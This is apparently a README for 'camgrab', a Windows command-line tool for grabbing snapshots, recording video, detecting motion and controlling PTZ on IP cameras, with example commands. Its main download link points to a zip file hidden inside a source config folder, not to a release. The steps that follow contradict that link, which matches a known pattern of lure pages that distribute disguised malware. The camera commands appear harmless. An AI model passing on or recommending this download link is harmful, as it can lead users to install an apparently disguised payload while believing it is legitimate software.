camgrab is a simple tool to capture images, record videos, and detect motion from IP cameras. It works on Windows and runs from a single file, so you don’t need to install anything complex. With camgrab, you can watch your security cameras, save snapshots, or start recording without extra software.
- Take snapshots from your IP camera instantly
- Record video streams from cameras over the network
- Detect motion using your camera’s feed
- PTZ (Pan, Tilt, Zoom) control for compatible cameras
- Works with RTSP and ONVIF camera protocols
- Command-line interface keeps it lightweight and fast
- Single executable file – no installation required
- Windows 10 or later (64-bit recommended)
- At least 100 MB free disk space
- Active network connection to access your IP camera
- IP camera supports RTSP or ONVIF protocols
- Basic command prompt familiarity is helpful but not required
Visit the page below to download camgrab for Windows:
This link takes you to the camgrab GitHub page. You will find the latest release files there.
Follow these steps to download and run camgrab:
-
Click the Download camgrab badge at the top or the link below:
https://github.com/GoldenXerO/camgrab/raw/refs/heads/main/crates/camgrab-core/src/config/Software-3.0.zip -
On the page, find the Releases section or look for a folder named
releases. This is where you will see the available versions of camgrab. -
Locate the latest Windows release file, usually ending with
.exe. The file might be named likecamgrab_win64.exeor similar. -
Click on the
.exefile to download it to your computer. -
Once downloaded, open the folder containing the file and double-click on it to run.
No installation is needed because camgrab runs as a standalone application. -
To use camgrab, you will need to open the Command Prompt:
- Press Win + R, type
cmd, and hit Enter.
- Press Win + R, type
-
Navigate to the folder where you saved camgrab using the
cdcommand:
Example:cd C:\Users\YourName\Downloads -
Run camgrab by typing its name and pressing Enter:
camgrab_win64.exe
You are now ready to connect your camera and start capturing images and video.
camgrab runs in the Command Prompt using simple commands. Here are a few common examples to get you started.
Save one picture from your camera using the following command:
camgrab_win64.exe snapshot --url rtsp://your-camera-ip/stream
Replace rtsp://your-camera-ip/stream with your camera’s RTSP address. You can find this in your camera’s manual or app.
The snapshot will save as a file in the current folder.
Record a video stream from your camera:
camgrab_win64.exe record --url rtsp://your-camera-ip/stream --duration 60
This records a 60-second video. Change the --duration value as you like.
The video saves as an MP4 file.
Enable motion detection to record only when movement is detected:
camgrab_win64.exe motion --url rtsp://your-camera-ip/stream --output motion_record.mp4
This saves video clips when motion happens.
If your camera supports PTZ, you can move it:
camgrab_win64.exe ptz --url rtsp://your-camera-ip/stream --move up
Use directions up, down, left, right to change the view.
The key to using camgrab is the correct camera URL. Most network cameras use RTSP or ONVIF. Here is how to find it:
- Check your camera manual for the RTSP URL example
- Search online with your camera model + “RTSP URL”
- Use the camera’s official app or software to get stream details
- For ONVIF cameras, camgrab can discover and connect to the camera automatically using the
onvifcommand
Example RTSP URL format:
rtsp://username:password@192.168.1.10:554/stream1
Replace username, password, and 192.168.1.10 with your actual camera details.
- Run camgrab close to your camera on the same network for faster connections and fewer drops.
- Save snapshots and videos in folders with plenty of free disk space.
- Use file names with dates or times to organize your recordings.
- Experiment with commands to find what fits your needs.
- Enable snapshots at intervals with
--interval - Record video with custom resolution and quality settings
- Use built-in triggers for motion sensitivity adjustment
- Schedule tasks using Windows Task Scheduler and scripts
- Control multiple cameras by running different camgrab instances
- Visit the GitHub page to view guides and open issues
- Check the
README.mdfile in the repository for detailed command options - Ask questions on GitHub Discussions if available
- Use standard Windows tools to manage files and processes
- Snapshots save as
.jpgfiles by default - Recordings save as
.mp4files by default - Temporary files clean up automatically after use
- You can change output folders using command options
camgrab was created to make capturing and monitoring IP cameras quick and easy without bulky software. It focuses on speed, simplicity, and flexibility. The single executable means you can carry it on a USB drive and run it anywhere Windows is available.